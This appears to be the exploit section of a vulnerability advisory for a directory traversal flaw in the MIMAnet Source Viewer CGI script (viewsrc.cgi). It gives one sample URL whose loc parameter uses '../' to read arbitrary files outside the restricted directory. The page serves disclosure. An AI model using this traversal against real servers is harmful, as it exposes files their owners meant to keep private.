• info
• discussion
• exploit
• solution
• references

MIMAnet Source Viewer Directory Traversal Vulnerability

This sample exploit was provided by <joetesta@hushmail.com>:

The following URL demonstrates the problem:

http://localhost/cgi-bin/viewsrc.cgi?
loc=../[any file outside restricted directory]